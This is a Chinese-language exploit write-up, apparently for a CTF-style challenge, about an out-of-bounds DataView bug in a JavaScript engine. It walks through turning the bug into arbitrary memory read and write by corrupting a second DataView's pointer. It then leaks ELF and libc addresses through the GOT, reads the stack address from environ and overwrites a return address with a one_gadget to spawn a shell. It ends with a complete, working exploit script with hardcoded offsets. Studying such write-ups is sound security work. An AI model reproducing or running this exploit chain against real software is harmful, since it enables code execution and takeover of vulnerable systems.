漏洞分析与利用

漏洞触发方式很简单

1
2
3
var ab = new ArrayBuffer(10);
var dv = new DataView(ab);
print(dv.getUint32(0x100, 1));

Untitled 1.png

之后我们调试如下代码

1
2
3
4
5
6
7
8
9
10
11
var ab = new ArrayBuffer(10);
var dv = new DataView(ab);

var ab2 = new ArrayBuffer(0x1337);
var dv2 = new DataView(ab2);

print("finish");

for(let i = 0; i < 100000000; i ++){

}

能够找到 abdv

Untitled 2.png

以及 ab2dv2

Untitled 3.png

通过地址可以发现 abdv2上方,那么可以通过 ab 越界修改 dv2 指向 ab2 的指针做到任意地址读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var idx = 0;
for (let i = 1; i < 0x1000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x1337){
print("Get idx!");
idx = i;
break;
}
}

function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}

function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}

最后通过 GOT 表泄漏 libc ,通过 environ 获得栈地址并修改返回地址为 one gadgetgetshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);

print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x6c050;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var putchar_got = new Uint32Array(2);
putchar_got[0] = elf_base[0] + 0x69dd0;
putchar_got[1] = elf_base[1];
printhex("putchar_got:",putchar_got);

var libc_base = arb_read(putchar_got);
libc_base[0] -= 0x9d850;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c81);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);

最后效果

Untitled 4.png

之前也尝试过写hook之类的,不过无法触发,并且在写的时候会发现好像需要错位写才写得进去,否则会报错,具体原因未知

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
function printhex(s,u){
print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));

}

function hex(i){
return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
return u[0] + u[1] * 0x100000000;
}

function l32(data){
let result = 0;
for(let i=0;i<4;i++){
result <<= 8;
result |= data & 0xff;
data >>= 8;
}
return result;

}

var ab = new ArrayBuffer(10);
var dv = new DataView(ab);

var ab2 = new ArrayBuffer(0x1337);
var dv2 = new DataView(ab2);

var idx = 0;
for (let i = 1; i < 0x1000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x1337){
print("Get idx!");
idx = i;
break;
}
}

function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}

function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}

var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);

print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x6c050;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var putchar_got = new Uint32Array(2);
putchar_got[0] = elf_base[0] + 0x69dd0;
putchar_got[1] = elf_base[1];
printhex("putchar_got:",putchar_got);

var libc_base = arb_read(putchar_got);
libc_base[0] -= 0x9d850;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c81);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);

for(let i=0;i<0x1000000;i++){

}